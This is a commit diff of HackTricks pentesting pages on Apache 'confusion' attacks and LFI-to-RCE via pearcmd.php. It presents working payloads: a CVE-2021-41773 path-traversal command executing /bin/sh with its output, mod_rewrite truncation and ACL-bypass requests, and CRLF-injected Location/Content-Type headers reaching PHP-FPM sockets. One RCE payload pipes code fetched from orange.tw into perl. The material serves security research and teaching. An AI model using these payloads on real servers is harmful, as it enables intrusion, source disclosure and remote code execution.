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@ -1,8 +1,8 @@
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# Apache
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
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Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
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Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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@ -15,8 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
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</details>
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{% endhint %}
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# Executable PHP extensions
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## Executable PHP extensions
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Check which extensions is executing the Apache server. To search them you can execute:
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@ -33,19 +32,267 @@ Also, some places where you can find this configuration is:
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/etc/apache2/mods-enabled/php7.3.conf
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```
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# CVE-2021-41773
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## CVE-2021-41773
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{% code overflow="wrap" %}
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```bash
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curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
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uid=1(daemon) gid=1(daemon) groups=1(daemon)
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Linux
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```
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{% endcode %}
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## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
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These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
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### Filename Confusion
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#### Truncation
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The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
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* **Path Truncation**
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It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
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```bash
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RewriteEngine On
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RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
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# Expected
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curl http://server/user/orange
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# the output of file `/var/user/orange/profile.yml`
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# Attack
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curl http://server/user/orange%2Fsecret.yml%3F
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# the output of file `/var/user/orange/secret.yml`
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```
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* **Mislead RewriteFlag Assignment**
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In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it:
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```bash
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RewriteEngine On
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RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
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# Attacker uploads a gif file with some php code
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curl http://server/upload/1.gif
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# GIF89a <?=`id`;>
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# Make the server execute the php code
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curl http://server/upload/1.gif%3fooo.php
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# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
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```
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#### **ACL Bypass**
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It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like:
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```xml
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<Files "admin.php">
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AuthType Basic
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AuthName "Admin Panel"
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AuthUserFile "/etc/apache2/.htpasswd"
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Require valid-user
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</Files>
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```
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This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it.
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### DocumentRoot Confusion
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```bash
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DocumentRoot /var/www/html
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RewriteRule ^/html/(.*)$ /$1.html
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```
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A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
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#### **Server-Side Source Code Disclosure**
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* **Disclose CGI Source Code**
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Just adding a %3F at the end is enough to leak the source code of a cgi module:
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```bash
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curl http://server/cgi-bin/download.cgi
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# the processed result from download.cgi
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curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
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# #!/usr/bin/perl
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# use CGI;
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# ...
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# # the source code of download.cgi
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```
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* **Disclose PHP Source Code**
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If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:
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```bash
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# Leak the config.php file of the www.local domain from the static.local domain
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curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
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# the source code of config.php
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```
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#### **Local Gadgets Manipulation**
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The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
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```xml
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<Directory />
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AllowOverride None
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Require all denied
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</Directory>
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```
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However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operating systems by default allow `/usr/share`:
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```xml
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<Directory /usr/share>
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AllowOverride None
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Require all granted
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</Directory>
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```
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Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
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**Local Gadget to Information Disclosure**
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* **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
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* Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
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* **/usr/share/nginx/html/**
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* **/usr/share/jetty9/etc/**
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* **/usr/share/jetty9/webapps/**
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**Local Gadget to XSS**
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* On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
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**Local Gadget to LFI**
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* If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
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* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
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* **/usr/share/javascript/jquery-jfeed/proxy.php**
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* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
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**Local Gadget to SSRF**
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* Utilizing **MagpieRSS's magpie\_debug.php** at **/usr/share/php/magpierss/scripts/magpie\_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
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**Local Gadget to RCE**
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* Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
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#### **Jailbreak from Local Gadgets**
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It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
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* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
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* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
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* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
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* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
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* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
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Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
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### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
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This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
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Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
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#### **Overwrite Handler to Disclose PHP Source Code**
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In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
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Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
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#### **Overwrite Handler to XXXX**
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TODO: Orange hasn't disclose this vulnerability yet
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### **Invoke Arbitrary Handlers**
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If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
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According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
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> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
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Therefore, to perform this attack is needed one of the following vulns:
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* CRLF Injection in the CGI response headers
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* SSRF with complete control of the response headers
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#### **Arbitrary Handler to Information Disclosure**
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For example `/server-status` should only be accessible locally:
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```xml
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<Location /server-status>
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SetHandler server-status
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Require local
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</Location>
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```
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It's possible to access it setting the `Content-Type` to `server-status` and the Location header starting with `/`
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```
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http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
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Location:/ooo %0d%0a
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Content-Type:server-status %0d%0a
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%0d%0a
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```
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#### **Arbitrary Handler to Full SSRF**
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Redirecting to `mod_proxy` to access any protocol on any URL:
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```
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http://server/cgi-bin/redir.cgi?r=http://%0d%0a
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Location:/ooo %0d%0a
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Content-Type:proxy:
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http://example.com/%3F
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%0d%0a
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%0d%0a
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```
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However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints.
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#### **Arbitrary Handler to Access Local Unix Domain Socket**
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Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`:
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```
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http://server/cgi-bin/redir.cgi?r=http://%0d%0a
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Location:/ooo %0d%0a
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Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
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%0d%0a
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```
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#### **Arbitrary Handler to RCE**
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The official [PHP Docker](https://hub.docker.com/\_/php) image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE:
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```
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http://server/cgi-bin/redir.cgi?r=http://%0d%0a
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Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
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orange.tw/x|perl
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) %2b alltests.php %0d%0a
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Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
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%0d%0a
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```
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Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon\_xg) for the details of this technique.
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## References
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* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
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{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -57,5 +304,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
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@ -1,8 +1,8 @@
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# File Inclusion/Path traversal
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||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -681,6 +681,27 @@ If you found a **Local File Inclusion** and and the server is running in **Windo
|
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[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
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{% endcontent-ref %}
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### Via `pearcmd.php` + URL args
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As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
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The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
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{% code overflow="wrap" %}
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```bash
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GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
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```
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{% endcode %}
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The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
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```
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http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
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Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
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Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
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%0d%0a
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```
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### Via phpinfo() (file\_uploads = on)
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If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:
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|
|
@ -737,8 +758,8 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
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<details>
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Reference in a new issue